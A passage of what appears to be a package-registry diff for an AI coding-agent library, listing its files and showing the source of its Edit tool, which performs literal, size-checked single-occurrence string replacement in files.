@nathapp/nax-agent 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +24 -0
- package/LICENSE +21 -0
- package/README.md +49 -0
- package/dist/coding-tools/coding-tool-bash.d.ts +46 -0
- package/dist/coding-tools/coding-tool-bash.js +44 -0
- package/dist/coding-tools/coding-tool-extras.d.ts +35 -0
- package/dist/coding-tools/coding-tool-extras.js +56 -0
- package/dist/coding-tools/coding-tool-sandbox.d.ts +74 -0
- package/dist/coding-tools/coding-tool-sandbox.js +215 -0
- package/dist/coding-tools/coding-tool-support.d.ts +132 -0
- package/dist/coding-tools/coding-tool-support.js +159 -0
- package/dist/coding-tools/universal-coding-tools.d.ts +11 -0
- package/dist/coding-tools/universal-coding-tools.js +5 -0
- package/dist/command-interceptor/index.d.ts +55 -0
- package/dist/command-interceptor/index.js +60 -0
- package/dist/command-interceptor/shell.d.ts +36 -0
- package/dist/command-interceptor/shell.js +137 -0
- package/dist/command-safety/build.d.ts +19 -0
- package/dist/command-safety/build.js +47 -0
- package/dist/command-safety/guard.d.ts +32 -0
- package/dist/command-safety/guard.js +179 -0
- package/dist/command-safety/identifiers.d.ts +24 -0
- package/dist/command-safety/identifiers.js +20 -0
- package/dist/command-safety/index.d.ts +17 -0
- package/dist/command-safety/index.js +11 -0
- package/dist/command-safety/questions.d.ts +19 -0
- package/dist/command-safety/questions.js +60 -0
- package/dist/command-safety/row.d.ts +2 -0
- package/dist/command-safety/row.js +14 -0
- package/dist/command-safety/rule-scorer.d.ts +9 -0
- package/dist/command-safety/rule-scorer.js +391 -0
- package/dist/command-safety/shadow.d.ts +33 -0
- package/dist/command-safety/shadow.js +188 -0
- package/dist/command-safety/systemone-client.d.ts +16 -0
- package/dist/command-safety/systemone-client.js +92 -0
- package/dist/command-safety/tap.d.ts +37 -0
- package/dist/command-safety/tap.js +77 -0
- package/dist/command-safety/temp-only.d.ts +6 -0
- package/dist/command-safety/temp-only.js +215 -0
- package/dist/command-safety/tmp-write.d.ts +2 -0
- package/dist/command-safety/tmp-write.js +112 -0
- package/dist/command-safety/types.d.ts +185 -0
- package/dist/command-safety/types.js +21 -0
- package/dist/config/bash-approval.d.ts +33 -0
- package/dist/config/bash-approval.js +30 -0
- package/dist/config/catalog-overrides.d.ts +94 -0
- package/dist/config/catalog-overrides.js +7 -0
- package/dist/config/native-agent/index.d.ts +8 -0
- package/dist/config/native-agent/index.js +8 -0
- package/dist/config/schemas-sandbox.d.ts +31 -0
- package/dist/config/schemas-sandbox.js +45 -0
- package/dist/cost/core/index.d.ts +8 -0
- package/dist/cost/core/index.js +7 -0
- package/dist/cost/estimate.d.ts +34 -0
- package/dist/cost/estimate.js +65 -0
- package/dist/cost/model-spec.d.ts +28 -0
- package/dist/cost/model-spec.js +29 -0
- package/dist/cost/standard-types.d.ts +9 -0
- package/dist/cost/standard-types.js +1 -0
- package/dist/cost/usage-math.d.ts +18 -0
- package/dist/cost/usage-math.js +46 -0
- package/dist/index.d.ts +26 -0
- package/dist/index.js +21 -0
- package/dist/infra/agent-logger.d.ts +22 -0
- package/dist/infra/agent-logger.js +19 -0
- package/dist/infra/credentials-config.d.ts +20 -0
- package/dist/infra/credentials-config.js +15 -0
- package/dist/infra/errors.d.ts +9 -0
- package/dist/infra/errors.js +11 -0
- package/dist/infra/index.d.ts +7 -0
- package/dist/infra/index.js +7 -0
- package/dist/infra/nax-error.d.ts +10 -0
- package/dist/infra/nax-error.js +16 -0
- package/dist/infra/spin-breaker/hash.d.ts +2 -0
- package/dist/infra/spin-breaker/hash.js +5 -0
- package/dist/infra/spin-breaker/index.d.ts +120 -0
- package/dist/infra/spin-breaker/index.js +340 -0
- package/dist/internal/agent-output-env.d.ts +44 -0
- package/dist/internal/agent-output-env.js +57 -0
- package/dist/internal/argv-exec.d.ts +58 -0
- package/dist/internal/argv-exec.js +224 -0
- package/dist/internal/bounded-io.d.ts +24 -0
- package/dist/internal/bounded-io.js +51 -0
- package/dist/internal/command-spec/index.d.ts +29 -0
- package/dist/internal/command-spec/index.js +36 -0
- package/dist/internal/describe-value-type.d.ts +8 -0
- package/dist/internal/describe-value-type.js +14 -0
- package/dist/internal/exec-framing.d.ts +18 -0
- package/dist/internal/exec-framing.js +22 -0
- package/dist/internal/file-lock.d.ts +91 -0
- package/dist/internal/file-lock.js +212 -0
- package/dist/internal/file-size.d.ts +2 -0
- package/dist/internal/file-size.js +12 -0
- package/dist/internal/git-add.d.ts +43 -0
- package/dist/internal/git-add.js +59 -0
- package/dist/internal/git-env.d.ts +59 -0
- package/dist/internal/git-env.js +93 -0
- package/dist/internal/git-exec.d.ts +58 -0
- package/dist/internal/git-exec.js +115 -0
- package/dist/internal/path-file-lock.d.ts +23 -0
- package/dist/internal/path-file-lock.js +25 -0
- package/dist/internal/process-alive.d.ts +42 -0
- package/dist/internal/process-alive.js +56 -0
- package/dist/internal/process-kill.d.ts +27 -0
- package/dist/internal/process-kill.js +54 -0
- package/dist/internal/realpath.d.ts +29 -0
- package/dist/internal/realpath.js +52 -0
- package/dist/internal/redact.d.ts +40 -0
- package/dist/internal/redact.js +161 -0
- package/dist/internal/shell-quote.d.ts +2 -0
- package/dist/internal/shell-quote.js +4 -0
- package/dist/internal/sort.d.ts +20 -0
- package/dist/internal/sort.js +20 -0
- package/dist/internal/strip-control-chars.d.ts +19 -0
- package/dist/internal/strip-control-chars.js +38 -0
- package/dist/internal/thenable.d.ts +10 -0
- package/dist/internal/thenable.js +15 -0
- package/dist/internal.d.ts +91 -0
- package/dist/internal.js +91 -0
- package/dist/native/adapter-deps.d.ts +46 -0
- package/dist/native/adapter-deps.js +43 -0
- package/dist/native/auth-types.d.ts +70 -0
- package/dist/native/auth-types.js +13 -0
- package/dist/native/auth.d.ts +133 -0
- package/dist/native/auth.js +362 -0
- package/dist/native/client.d.ts +50 -0
- package/dist/native/client.js +174 -0
- package/dist/native/complete.d.ts +33 -0
- package/dist/native/complete.js +88 -0
- package/dist/native/credentials/chained-store.d.ts +30 -0
- package/dist/native/credentials/chained-store.js +68 -0
- package/dist/native/credentials/change-guard.d.ts +51 -0
- package/dist/native/credentials/change-guard.js +136 -0
- package/dist/native/credentials/exec-source.d.ts +50 -0
- package/dist/native/credentials/exec-source.js +222 -0
- package/dist/native/credentials/fingerprint.d.ts +26 -0
- package/dist/native/credentials/fingerprint.js +174 -0
- package/dist/native/credentials/helper-process.d.ts +79 -0
- package/dist/native/credentials/helper-process.js +259 -0
- package/dist/native/credentials/helper-protocol.d.ts +36 -0
- package/dist/native/credentials/helper-protocol.js +79 -0
- package/dist/native/credentials/index.d.ts +60 -0
- package/dist/native/credentials/index.js +184 -0
- package/dist/native/errors.d.ts +34 -0
- package/dist/native/errors.js +109 -0
- package/dist/native/index.d.ts +25 -0
- package/dist/native/index.js +23 -0
- package/dist/native/model-resolver.d.ts +57 -0
- package/dist/native/model-resolver.js +73 -0
- package/dist/native/models.d.ts +116 -0
- package/dist/native/models.js +183 -0
- package/dist/native/session/ask-human.d.ts +15 -0
- package/dist/native/session/ask-human.js +22 -0
- package/dist/native/session/compaction.d.ts +94 -0
- package/dist/native/session/compaction.js +170 -0
- package/dist/native/session/handle-invalid-tool-call.d.ts +111 -0
- package/dist/native/session/handle-invalid-tool-call.js +159 -0
- package/dist/native/session/loop-events/cache-boundary.d.ts +11 -0
- package/dist/native/session/loop-events/cache-boundary.js +29 -0
- package/dist/native/session/loop-events/external-handler.d.ts +38 -0
- package/dist/native/session/loop-events/external-handler.js +193 -0
- package/dist/native/session/loop-events/index.d.ts +16 -0
- package/dist/native/session/loop-events/index.js +15 -0
- package/dist/native/session/loop-events/payload-guard.d.ts +9 -0
- package/dist/native/session/loop-events/payload-guard.js +31 -0
- package/dist/native/session/loop-events/registry.d.ts +84 -0
- package/dist/native/session/loop-events/registry.js +305 -0
- package/dist/native/session/loop-events/types.d.ts +251 -0
- package/dist/native/session/loop-events/types.js +14 -0
- package/dist/native/session/loop-handlers.d.ts +73 -0
- package/dist/native/session/loop-handlers.js +137 -0
- package/dist/native/session/nudge.d.ts +29 -0
- package/dist/native/session/nudge.js +35 -0
- package/dist/native/session/rate-provenance.d.ts +17 -0
- package/dist/native/session/rate-provenance.js +39 -0
- package/dist/native/session/session.d.ts +139 -0
- package/dist/native/session/session.js +208 -0
- package/dist/native/session/tool-input-exemplar.d.ts +2 -0
- package/dist/native/session/tool-input-exemplar.js +66 -0
- package/dist/native/session/tool-input-validation.d.ts +15 -0
- package/dist/native/session/tool-input-validation.js +146 -0
- package/dist/native/session/tool-mapping.d.ts +18 -0
- package/dist/native/session/tool-mapping.js +27 -0
- package/dist/native/session/tool-result.d.ts +37 -0
- package/dist/native/session/tool-result.js +25 -0
- package/dist/native/session/transcript-store.d.ts +77 -0
- package/dist/native/session/transcript-store.js +200 -0
- package/dist/native/session/truncation-handler.d.ts +47 -0
- package/dist/native/session/truncation-handler.js +83 -0
- package/dist/native/session/turn-accumulator.d.ts +45 -0
- package/dist/native/session/turn-accumulator.js +67 -0
- package/dist/native/session/turn-ask-human.d.ts +23 -0
- package/dist/native/session/turn-ask-human.js +41 -0
- package/dist/native/session/turn-compaction-step.d.ts +74 -0
- package/dist/native/session/turn-compaction-step.js +128 -0
- package/dist/native/session/turn-complete-step.d.ts +77 -0
- package/dist/native/session/turn-complete-step.js +159 -0
- package/dist/native/session/turn-end-event.d.ts +3 -0
- package/dist/native/session/turn-end-event.js +17 -0
- package/dist/native/session/turn-events.d.ts +63 -0
- package/dist/native/session/turn-events.js +48 -0
- package/dist/native/session/turn-loop-round-trip.d.ts +116 -0
- package/dist/native/session/turn-loop-round-trip.js +318 -0
- package/dist/native/session/turn-loop.d.ts +23 -0
- package/dist/native/session/turn-loop.js +250 -0
- package/dist/native/session/turn-result.d.ts +39 -0
- package/dist/native/session/turn-result.js +64 -0
- package/dist/native/session/turn-retry.d.ts +120 -0
- package/dist/native/session/turn-retry.js +182 -0
- package/dist/native/session/turn-tool-batch.d.ts +61 -0
- package/dist/native/session/turn-tool-batch.js +259 -0
- package/dist/native/session/turn-types.d.ts +164 -0
- package/dist/native/session/turn-types.js +36 -0
- package/dist/native/session-adapter.d.ts +56 -0
- package/dist/native/session-adapter.js +369 -0
- package/dist/native/session-affinity.d.ts +36 -0
- package/dist/native/session-affinity.js +43 -0
- package/dist/native/tier-providers.d.ts +18 -0
- package/dist/native/tier-providers.js +20 -0
- package/dist/permissions/approval-audit.d.ts +10 -0
- package/dist/permissions/approval-audit.js +22 -0
- package/dist/permissions/approvals-link.d.ts +20 -0
- package/dist/permissions/approvals-link.js +62 -0
- package/dist/permissions/approvals-store.d.ts +168 -0
- package/dist/permissions/approvals-store.js +259 -0
- package/dist/permissions/approvals-taint.d.ts +33 -0
- package/dist/permissions/approvals-taint.js +138 -0
- package/dist/permissions/ask-chain.d.ts +69 -0
- package/dist/permissions/ask-chain.js +32 -0
- package/dist/permissions/ask.d.ts +23 -0
- package/dist/permissions/ask.js +25 -0
- package/dist/permissions/bash-lex.d.ts +59 -0
- package/dist/permissions/bash-lex.js +279 -0
- package/dist/permissions/grammar.d.ts +12 -0
- package/dist/permissions/grammar.js +24 -0
- package/dist/permissions/index.d.ts +11 -0
- package/dist/permissions/index.js +9 -0
- package/dist/permissions/secret-spans.d.ts +19 -0
- package/dist/permissions/secret-spans.js +88 -0
- package/dist/permissions/types.d.ts +85 -0
- package/dist/permissions/types.js +1 -0
- package/dist/runtime/index.d.ts +3 -0
- package/dist/runtime/index.js +2 -0
- package/dist/runtime/node-glob.d.ts +3 -0
- package/dist/runtime/node-glob.js +83 -0
- package/dist/runtime/node-runtime.d.ts +3 -0
- package/dist/runtime/node-runtime.js +126 -0
- package/dist/runtime/slot.d.ts +11 -0
- package/dist/runtime/slot.js +17 -0
- package/dist/runtime/types.d.ts +51 -0
- package/dist/runtime/types.js +1 -0
- package/dist/runtime/which.d.ts +8 -0
- package/dist/runtime/which.js +32 -0
- package/dist/sandbox/argv-quote.d.ts +11 -0
- package/dist/sandbox/argv-quote.js +13 -0
- package/dist/sandbox/defaults.d.ts +27 -0
- package/dist/sandbox/defaults.js +47 -0
- package/dist/sandbox/git-guards.d.ts +64 -0
- package/dist/sandbox/git-guards.js +161 -0
- package/dist/sandbox/index.d.ts +11 -0
- package/dist/sandbox/index.js +10 -0
- package/dist/sandbox/launcher.d.ts +37 -0
- package/dist/sandbox/launcher.js +160 -0
- package/dist/sandbox/messages.d.ts +17 -0
- package/dist/sandbox/messages.js +46 -0
- package/dist/sandbox/policy-builder.d.ts +44 -0
- package/dist/sandbox/policy-builder.js +149 -0
- package/dist/sandbox/policy-inputs.d.ts +53 -0
- package/dist/sandbox/policy-inputs.js +76 -0
- package/dist/sandbox/probe.d.ts +8 -0
- package/dist/sandbox/probe.js +66 -0
- package/dist/sandbox/registry.d.ts +17 -0
- package/dist/sandbox/registry.js +57 -0
- package/dist/sandbox/session-tmp.d.ts +20 -0
- package/dist/sandbox/session-tmp.js +95 -0
- package/dist/sandbox/srt-backend.d.ts +21 -0
- package/dist/sandbox/srt-backend.js +99 -0
- package/dist/sandbox/types.d.ts +102 -0
- package/dist/sandbox/types.js +1 -0
- package/dist/session/adapter-failure.d.ts +60 -0
- package/dist/session/adapter-failure.js +11 -0
- package/dist/session/agent-stream-events.d.ts +103 -0
- package/dist/session/agent-stream-events.js +6 -0
- package/dist/session/interaction-handler.d.ts +53 -0
- package/dist/session/interaction-handler.js +2 -0
- package/dist/session/no-op-interaction-handler.d.ts +9 -0
- package/dist/session/no-op-interaction-handler.js +11 -0
- package/dist/session/protocol-types.d.ts +12 -0
- package/dist/session/protocol-types.js +1 -0
- package/dist/session/session-types.d.ts +456 -0
- package/dist/session/session-types.js +64 -0
- package/dist/session/tool-descriptor.d.ts +23 -0
- package/dist/session/tool-descriptor.js +5 -0
- package/dist/session/turn-deadline.d.ts +17 -0
- package/dist/session/turn-deadline.js +23 -0
- package/dist/tools/ask-request.d.ts +35 -0
- package/dist/tools/ask-request.js +57 -0
- package/dist/tools/bash-cwd.d.ts +82 -0
- package/dist/tools/bash-cwd.js +55 -0
- package/dist/tools/bash.d.ts +69 -0
- package/dist/tools/bash.js +283 -0
- package/dist/tools/delete.d.ts +57 -0
- package/dist/tools/delete.js +154 -0
- package/dist/tools/denial-redirect.d.ts +42 -0
- package/dist/tools/denial-redirect.js +266 -0
- package/dist/tools/deny-paths.d.ts +35 -0
- package/dist/tools/deny-paths.js +76 -0
- package/dist/tools/edit-region.d.ts +50 -0
- package/dist/tools/edit-region.js +90 -0
- package/dist/tools/edit.d.ts +25 -0
- package/dist/tools/edit.js +114 -0
- package/dist/tools/exec-allowlist-text.d.ts +18 -0
- package/dist/tools/exec-allowlist-text.js +24 -0
- package/dist/tools/exec-guard.d.ts +69 -0
- package/dist/tools/exec-guard.js +151 -0
- package/dist/tools/git-commit.d.ts +59 -0
- package/dist/tools/git-commit.js +220 -0
- package/dist/tools/git-flags/index.d.ts +10 -0
- package/dist/tools/git-flags/index.js +10 -0
- package/dist/tools/git.d.ts +88 -0
- package/dist/tools/git.js +397 -0
- package/dist/tools/glob.d.ts +29 -0
- package/dist/tools/glob.js +153 -0
- package/dist/tools/grep.d.ts +21 -0
- package/dist/tools/grep.js +162 -0
- package/dist/tools/index.d.ts +36 -0
- package/dist/tools/index.js +28 -0
- package/dist/tools/narrow-grants.d.ts +19 -0
- package/dist/tools/narrow-grants.js +54 -0
- package/dist/tools/nax-owned-writes.d.ts +135 -0
- package/dist/tools/nax-owned-writes.js +259 -0
- package/dist/tools/package-managers-table.d.ts +146 -0
- package/dist/tools/package-managers-table.js +325 -0
- package/dist/tools/package-managers-types.d.ts +36 -0
- package/dist/tools/package-managers-types.js +6 -0
- package/dist/tools/package-managers.d.ts +85 -0
- package/dist/tools/package-managers.js +391 -0
- package/dist/tools/path-list.d.ts +38 -0
- package/dist/tools/path-list.js +62 -0
- package/dist/tools/policy-bash-raw.d.ts +19 -0
- package/dist/tools/policy-bash-raw.js +210 -0
- package/dist/tools/policy-bash.d.ts +64 -0
- package/dist/tools/policy-bash.js +232 -0
- package/dist/tools/policy-command-branch.d.ts +32 -0
- package/dist/tools/policy-command-branch.js +63 -0
- package/dist/tools/policy-input.d.ts +2 -0
- package/dist/tools/policy-input.js +10 -0
- package/dist/tools/policy-match.d.ts +75 -0
- package/dist/tools/policy-match.js +117 -0
- package/dist/tools/policy-paths-branch.d.ts +97 -0
- package/dist/tools/policy-paths-branch.js +314 -0
- package/dist/tools/policy.d.ts +65 -0
- package/dist/tools/policy.js +232 -0
- package/dist/tools/protected-paths.d.ts +26 -0
- package/dist/tools/protected-paths.js +8 -0
- package/dist/tools/provider-adapt.d.ts +4 -0
- package/dist/tools/provider-adapt.js +32 -0
- package/dist/tools/provider-advertise.d.ts +39 -0
- package/dist/tools/provider-advertise.js +50 -0
- package/dist/tools/provider-grants.d.ts +36 -0
- package/dist/tools/provider-grants.js +72 -0
- package/dist/tools/provider-sanitize.d.ts +19 -0
- package/dist/tools/provider-sanitize.js +53 -0
- package/dist/tools/provider-types.d.ts +41 -0
- package/dist/tools/provider-types.js +26 -0
- package/dist/tools/read-continuation.d.ts +147 -0
- package/dist/tools/read-continuation.js +176 -0
- package/dist/tools/read-file.d.ts +32 -0
- package/dist/tools/read-file.js +85 -0
- package/dist/tools/read.d.ts +25 -0
- package/dist/tools/read.js +182 -0
- package/dist/tools/registry.d.ts +125 -0
- package/dist/tools/registry.js +67 -0
- package/dist/tools/request-capability.d.ts +13 -0
- package/dist/tools/request-capability.js +23 -0
- package/dist/tools/run-command-exec.d.ts +14 -0
- package/dist/tools/run-command-exec.js +161 -0
- package/dist/tools/run-command.d.ts +107 -0
- package/dist/tools/run-command.js +398 -0
- package/dist/tools/runtime-calltool.d.ts +146 -0
- package/dist/tools/runtime-calltool.js +223 -0
- package/dist/tools/runtime.d.ts +149 -0
- package/dist/tools/runtime.js +345 -0
- package/dist/tools/scratchpad.d.ts +20 -0
- package/dist/tools/scratchpad.js +197 -0
- package/dist/tools/spill.d.ts +81 -0
- package/dist/tools/spill.js +251 -0
- package/dist/tools/tool-audit.d.ts +171 -0
- package/dist/tools/tool-audit.js +183 -0
- package/dist/tools/truncate.d.ts +98 -0
- package/dist/tools/truncate.js +297 -0
- package/dist/tools/types.d.ts +145 -0
- package/dist/tools/types.js +24 -0
- package/dist/tools/verb-denial-argv-hint.d.ts +35 -0
- package/dist/tools/verb-denial-argv-hint.js +40 -0
- package/dist/tools/write.d.ts +9 -0
- package/dist/tools/write.js +45 -0
- package/package.json +54 -0
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Edit's literal replacement (US-001).
|
|
3
|
+
*
|
|
4
|
+
* `String.prototype.replace` reads a string replacement as a template and
|
|
5
|
+
* expands `$$`, `$&`, `` $` `` and `$'` inside it, so
|
|
6
|
+
* `source.replace(oldString, newString)` writes something other than the
|
|
7
|
+
* characters the model supplied whenever `new_string` contains one of those
|
|
8
|
+
* patterns — `"a".replace("a", "x$$y$&z")` returns `x$yaz`. Composing the
|
|
9
|
+
* result by hand keeps every character literal.
|
|
10
|
+
*
|
|
11
|
+
* File-local on purpose, matching `src/tools/read-continuation.ts`: the
|
|
12
|
+
* helper is a property of the `Edit` composition, nothing else composes it,
|
|
13
|
+
* and `src/tools` does not export it from its barrel — `edit.ts` imports it
|
|
14
|
+
* by relative path.
|
|
15
|
+
*
|
|
16
|
+
* US-002 extends the module with `composeEditRegion`, the bounded
|
|
17
|
+
* Read-compatible view of the region an Edit just wrote: the `[lines a-b of
|
|
18
|
+
* N]` header and the selected lines, with elision when the replacement spans
|
|
19
|
+
* more than `MAX_REGION_LINES_SHOWN` lines. Deterministic string composition
|
|
20
|
+
* — no LLM, no config, no new tool arguments.
|
|
21
|
+
*/
|
|
22
|
+
import { splitModelLines } from "./truncate.js";
|
|
23
|
+
/** Context lines shown on each side of the replacement. */
|
|
24
|
+
const CONTEXT_LINES = 3;
|
|
25
|
+
/** Above this many replacement lines the view elides the middle. */
|
|
26
|
+
const MAX_REGION_LINES_SHOWN = 8;
|
|
27
|
+
function countNewlines(text) {
|
|
28
|
+
let count = 0;
|
|
29
|
+
for (let i = 0; i < text.length; i += 1) {
|
|
30
|
+
if (text[i] === "\n")
|
|
31
|
+
count += 1;
|
|
32
|
+
}
|
|
33
|
+
return count;
|
|
34
|
+
}
|
|
35
|
+
/**
|
|
36
|
+
* The bounded, Read-compatible view of the region an Edit wrote: a
|
|
37
|
+
* `[lines a-b of N]` header and the selected lines, or `[file is now empty]`
|
|
38
|
+
* for an emptied file. Has no trailing newline, and cannot throw on any
|
|
39
|
+
* string input.
|
|
40
|
+
*/
|
|
41
|
+
export function composeEditRegion({ updated, matchIndex, newStringLength }) {
|
|
42
|
+
const lines = splitModelLines(updated);
|
|
43
|
+
const total = lines.length;
|
|
44
|
+
// Rule 6 — an emptied file has no lines to show and no range to name.
|
|
45
|
+
if (total === 0)
|
|
46
|
+
return "[file is now empty]";
|
|
47
|
+
// Rule 1/2 — the start line and the line holding the replacement's last
|
|
48
|
+
// character, each clamped to N so a deletion at the very end of a file
|
|
49
|
+
// still names a real line. A pure deletion has no characters of its own,
|
|
50
|
+
// so its end line is its start line.
|
|
51
|
+
const start = Math.min(total, 1 + countNewlines(updated.slice(0, matchIndex)));
|
|
52
|
+
const end = newStringLength > 0
|
|
53
|
+
? Math.min(total, 1 + countNewlines(updated.slice(0, matchIndex + newStringLength - 1)))
|
|
54
|
+
: start;
|
|
55
|
+
// Rule 3 — the window is CONTEXT_LINES on each side of the replacement.
|
|
56
|
+
const a = Math.max(1, start - CONTEXT_LINES);
|
|
57
|
+
const b = Math.min(total, end + CONTEXT_LINES);
|
|
58
|
+
const header = `[lines ${a}-${b} of ${total}]`;
|
|
59
|
+
// Rule 4 — a replacement longer than MAX_REGION_LINES_SHOWN is elided in
|
|
60
|
+
// the middle: the context and the first 3 replaced lines, a marker naming
|
|
61
|
+
// the omitted range, then the last 3 replaced lines and the context.
|
|
62
|
+
// Rule 5 — otherwise the whole window is shown.
|
|
63
|
+
const selected = end - start + 1 > MAX_REGION_LINES_SHOWN
|
|
64
|
+
? [
|
|
65
|
+
...lines.slice(a - 1, start + 2),
|
|
66
|
+
`[... lines ${start + 3}-${end - 3} not shown ...]`,
|
|
67
|
+
...lines.slice(end - 3, b),
|
|
68
|
+
]
|
|
69
|
+
: lines.slice(a - 1, b);
|
|
70
|
+
// Rule 7 — the content has no trailing newline. A window whose last line
|
|
71
|
+
// is blank (`b` sits on an empty line, or the file is a lone newline) would
|
|
72
|
+
// otherwise leave the joining delimiter at the very end, so trailing empty
|
|
73
|
+
// lines are dropped rather than emitted as a bare "\n".
|
|
74
|
+
let view = [header, ...selected].join("\n");
|
|
75
|
+
while (view.endsWith("\n"))
|
|
76
|
+
view = view.slice(0, -1);
|
|
77
|
+
return view;
|
|
78
|
+
}
|
|
79
|
+
/**
|
|
80
|
+
* Replace the single occurrence of `oldString` at `matchIndex` with
|
|
81
|
+
* `newString`, literally.
|
|
82
|
+
*
|
|
83
|
+
* The caller has already established uniqueness (`countOccurrences` in
|
|
84
|
+
* `edit.ts`) and passes the index `source.indexOf(oldString)` found, so this
|
|
85
|
+
* is pure slicing: everything before the match, the new text verbatim, and
|
|
86
|
+
* everything after it. No `replace`, and therefore no substitution patterns.
|
|
87
|
+
*/
|
|
88
|
+
export function replaceUniqueLiteral(source, oldString, newString, matchIndex) {
|
|
89
|
+
return source.slice(0, matchIndex) + newString + source.slice(matchIndex + oldString.length);
|
|
90
|
+
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Replace one exact occurrence in a file.
|
|
3
|
+
*
|
|
4
|
+
* old_string/new_string rather than a line range (design section 10, question
|
|
5
|
+
* 3): the contract verifies itself. A stale match fails loudly, where a line
|
|
6
|
+
* range would silently overwrite whatever had moved into those lines.
|
|
7
|
+
*
|
|
8
|
+
* Like Write, this has no production consumer in C1.
|
|
9
|
+
*/
|
|
10
|
+
import type { CodingTool } from "./registry.ts";
|
|
11
|
+
/** The file I/O `editTool` performs, behind one seam so a test can make a read or a write fail. */
|
|
12
|
+
export interface EditDeps {
|
|
13
|
+
stat(path: string): Promise<{
|
|
14
|
+
readonly size: number;
|
|
15
|
+
}>;
|
|
16
|
+
readFile(path: string, encoding: "utf8"): Promise<string>;
|
|
17
|
+
writeFile(path: string, data: string, encoding: "utf8"): Promise<void>;
|
|
18
|
+
}
|
|
19
|
+
/**
|
|
20
|
+
* Injectable fs seam, mirroring `_grepDeps` / `_promptLoaderDeps`: the
|
|
21
|
+
* read/write error arms of `Edit` must be reachable deterministically —
|
|
22
|
+
* permission bits cannot deny a write to root, and never to a Windows ACL.
|
|
23
|
+
*/
|
|
24
|
+
export declare const _editDeps: EditDeps;
|
|
25
|
+
export declare const editTool: CodingTool;
|
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Replace one exact occurrence in a file.
|
|
3
|
+
*
|
|
4
|
+
* old_string/new_string rather than a line range (design section 10, question
|
|
5
|
+
* 3): the contract verifies itself. A stale match fails loudly, where a line
|
|
6
|
+
* range would silently overwrite whatever had moved into those lines.
|
|
7
|
+
*
|
|
8
|
+
* Like Write, this has no production consumer in C1.
|
|
9
|
+
*/
|
|
10
|
+
import { readFile, stat, writeFile } from "node:fs/promises";
|
|
11
|
+
import { composeEditRegion, replaceUniqueLiteral } from "./edit-region.js";
|
|
12
|
+
/**
|
|
13
|
+
* Injectable fs seam, mirroring `_grepDeps` / `_promptLoaderDeps`: the
|
|
14
|
+
* read/write error arms of `Edit` must be reachable deterministically —
|
|
15
|
+
* permission bits cannot deny a write to root, and never to a Windows ACL.
|
|
16
|
+
*/
|
|
17
|
+
export const _editDeps = {
|
|
18
|
+
stat: (path) => stat(path),
|
|
19
|
+
readFile: (path, encoding) => readFile(path, encoding),
|
|
20
|
+
writeFile: (path, data, encoding) => writeFile(path, data, encoding),
|
|
21
|
+
};
|
|
22
|
+
function countOccurrences(haystack, needle) {
|
|
23
|
+
if (needle === "")
|
|
24
|
+
return 0;
|
|
25
|
+
let count = 0;
|
|
26
|
+
let index = haystack.indexOf(needle);
|
|
27
|
+
while (index !== -1) {
|
|
28
|
+
count += 1;
|
|
29
|
+
index = haystack.indexOf(needle, index + needle.length);
|
|
30
|
+
}
|
|
31
|
+
return count;
|
|
32
|
+
}
|
|
33
|
+
export const editTool = {
|
|
34
|
+
name: "Edit",
|
|
35
|
+
description: "Replace one exact occurrence of old_string with new_string in a repository file. Fails if the match is absent or ambiguous. On success the result shows the edited lines with up to 3 lines of context and their line range, so you do not need to Read the file again to check the edit.",
|
|
36
|
+
inputSchema: {
|
|
37
|
+
type: "object",
|
|
38
|
+
properties: {
|
|
39
|
+
path: { type: "string", description: "Path relative to the repository root" },
|
|
40
|
+
old_string: { type: "string", description: "Exact text to replace; must occur exactly once" },
|
|
41
|
+
new_string: { type: "string", description: "Replacement text" },
|
|
42
|
+
},
|
|
43
|
+
required: ["path", "old_string", "new_string"],
|
|
44
|
+
},
|
|
45
|
+
scope: { pathFields: ["path"] },
|
|
46
|
+
async run(input, ctx) {
|
|
47
|
+
const [target] = ctx.resolvedPaths;
|
|
48
|
+
if (target === undefined)
|
|
49
|
+
return { content: "no path supplied", isError: true };
|
|
50
|
+
const oldString = input.old_string;
|
|
51
|
+
const newString = input.new_string;
|
|
52
|
+
if (typeof oldString !== "string" || typeof newString !== "string") {
|
|
53
|
+
return { content: "old_string and new_string must be strings", isError: true };
|
|
54
|
+
}
|
|
55
|
+
// Checked before reading, not after: Edit must hold the whole file to
|
|
56
|
+
// replace within it, so the only way to bound the memory is to refuse.
|
|
57
|
+
try {
|
|
58
|
+
const { size } = await _editDeps.stat(target);
|
|
59
|
+
if (size > ctx.maxFileBytes) {
|
|
60
|
+
return {
|
|
61
|
+
// The reason leads and the path trails, matching Write's and
|
|
62
|
+
// ScratchpadWrite's refusal shape. A tool result is capped before the
|
|
63
|
+
// model reads it, and a head cut keeps the leading bytes: a message
|
|
64
|
+
// that opens with a long path has its diagnosis cut away first, which
|
|
65
|
+
// is the one sentence the model needs (src/tools/grep.ts states the
|
|
66
|
+
// same rule for its literal-search caveat).
|
|
67
|
+
content: `the file is ${size} bytes, which exceeds the ${ctx.maxFileBytes}-byte file ceiling -- refusing to edit ${target}`,
|
|
68
|
+
isError: true,
|
|
69
|
+
};
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
catch (err) {
|
|
73
|
+
return { content: err instanceof Error ? err.message : String(err), isError: true };
|
|
74
|
+
}
|
|
75
|
+
let source;
|
|
76
|
+
try {
|
|
77
|
+
source = await _editDeps.readFile(target, "utf8");
|
|
78
|
+
}
|
|
79
|
+
catch (err) {
|
|
80
|
+
return { content: err instanceof Error ? err.message : String(err), isError: true };
|
|
81
|
+
}
|
|
82
|
+
const occurrences = countOccurrences(source, oldString);
|
|
83
|
+
if (occurrences === 0) {
|
|
84
|
+
return { content: `old_string not found in ${target}; the file may have changed`, isError: true };
|
|
85
|
+
}
|
|
86
|
+
if (occurrences > 1) {
|
|
87
|
+
return {
|
|
88
|
+
content: `old_string is ambiguous: found ${occurrences} times. Include more surrounding context.`,
|
|
89
|
+
isError: true,
|
|
90
|
+
};
|
|
91
|
+
}
|
|
92
|
+
try {
|
|
93
|
+
// Literal composition, NOT `source.replace(oldString, newString)`: a
|
|
94
|
+
// string replacement is read as a template, so the dollar-substitution
|
|
95
|
+
